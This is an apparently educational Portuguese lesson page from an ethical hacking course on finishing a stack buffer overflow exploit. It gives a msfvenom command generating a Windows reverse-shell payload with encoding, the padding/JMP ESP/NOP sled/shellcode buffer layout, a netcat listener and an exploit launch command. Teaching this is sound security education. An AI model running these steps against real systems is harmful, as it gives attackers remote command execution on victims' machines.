Shellcode e exploração
Obtenha um shell
Shellcode e exploração é uma aula grátis de Ethical Hacking Academy no CoddyKit. Esta é a aula 4 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Ethical Hacking Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Ethical Hacking Academy inclui 4 aulas no total.
O que é código de shell?
Código de shell é um pequeno trecho de código de máquina que executa uma ação quando executado, tradicionalmente iniciando um shell. É a carga útil para a qual você redireciona a execução depois de controlar o EIP.
Ele é escrito em bytes brutos (códigos de operação) para poder ser injetado diretamente na memória.
Tipos de cargas úteis
Entre os objetivos comuns das cargas úteis estão:
- Shell vinculado: abre uma porta de escuta na vítima.
- Shell reverso: conecta-se de volta ao invasor (funciona melhor através de firewalls/NAT).
- Executar comando: executa um único comando, como adicionar um usuário.
Shells reversos são os mais comuns em operações reais.
Gerando com msfvenom
O msfvenom gera cargas úteis. Você especifica o tipo de carga útil, o endereço e a porta de escuta, o formato de saída e quaisquer caracteres inválidos que devem ser evitados.
O sinalizador -b exclui caracteres inválidos; -f define o formato de saída.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cPor que a codificação é necessária
O código de shell bruto frequentemente contém caracteres inválidos (como bytes nulos). Um codificador transforma a carga útil para evitar esses bytes e, em seguida, acrescenta um pequeno decodificador que restaura o código original em tempo de execução.
O codificador clássico é x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"O decodificador e a automodificação
O código de shell codificado decodifica a si mesmo na memória antes de ser executado. Essa automodificação precisa de um pouco de espaço adicional na pilha, razão pela qual uma trilha de NOPs e espaço suficiente no buffer são úteis.
Às vezes, você precisa ajustar o ESP primeiro para que o decodificador não corrompa o próprio código.
Montando o exploit final
O buffer completo do exploit é:
- Preenchimento até o deslocamento.
- O endereço de retorno JMP ESP.
- Uma trilha de NOPs.
- O código de shell codificado.
Envie isso para a entrada vulnerável, e a execução seguirá para a sua carga útil.
buf = "A"*offset + ret + "\x90"*16 + shellcodeConfigurando o Escutador
Para obter um shell reverso, você precisa escutar em sua máquina antes de disparar a exploração. Um escutador simples do Netcat captura a conexão recebida.
Para cargas úteis em estágios, use o multi/handler do Metasploit.
nc -lvnp 4444Disparando a Exploração
Com o escutador pronto, envie o buffer criado para o alvo. Se tudo estiver alinhado, o código de shell será executado, e seu escutador receberá um shell na máquina vítima.
Agora você tem execução de comandos com os privilégios do processo vulnerável.
python exploit.py 10.0.0.20 9999Solução de Problemas
Se falhar, verifique as causas comuns:
- Um caractere inválido foi inserido no código de shell ou no endereço de retorno.
- A sequência NOP é curta demais.
- O decodificador não tinha espaço suficiente na pilha (ajuste ESP).
- Deslocamento ou ordenação de bytes incorretos.
Uma depuração metódica no depurador permite isolar o problema.
Além do Overflow Clássico
Com DEP e ASLR habilitados, o código de shell simples na pilha não será executado. A exploração moderna usa Programação Orientada a Retorno (ROP) para encadear trechos de código existentes e vazamentos de informações para contornar ASLR.
Este curso ensinou a base sobre a qual essas técnicas avançadas são construídas.
Em Estágios ou Sem Estágios
As cargas úteis vêm em dois formatos. Uma carga útil sem estágios contém todo o código de shell em um único bloco. Uma carga útil em estágios envia um pequeno trecho inicial que baixa o restante do seu manipulador.
Cargas úteis em estágios cabem em buffers menores, mas precisam de um manipulador compatível, como o multi/handler do Metasploit, para entregar o segundo estágio.
Verificação Rápida
Lembre-se por que o código de shell costuma ser codificado.
Recapitulação
Você concluiu a cadeia de exploração:
- Código de shell é a carga útil; shells reversos são os mais práticos.
- Gere e codifique o código com msfvenom para evitar caracteres inválidos.
- Monte preenchimento + JMP ESP + sequência NOP + código de shell, inicie um escutador e dispare a exploração.
- Alvos modernos precisam de ROP e vazamentos de informações para contornar DEP/ASLR.
Você concluiu o curso de Exploração de Buffer Overflow.
Perguntas Frequentes
A aula “Shellcode e exploração” é grátis?
Sim — o texto completo de “Shellcode e exploração” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Ethical Hacking Academy, atualize para CoddyKit PRO. O curso de Ethical Hacking Academy inclui 4 aulas no total.
O que vou aprender em “Shellcode e exploração”?
Obtenha um shell Você pratica Ethical Hacking Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Ethical Hacking Academy?
Nenhuma experiência prévia é necessária. Ethical Hacking Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 4 de 4.
Quanto tempo leva a aula “Shellcode e exploração”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Ethical Hacking Academy?
Sim. Cada aula de Ethical Hacking Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Memória e pilha
- Fuzzing para encontrar falhas
- Controle do EIP
- Shellcode e exploração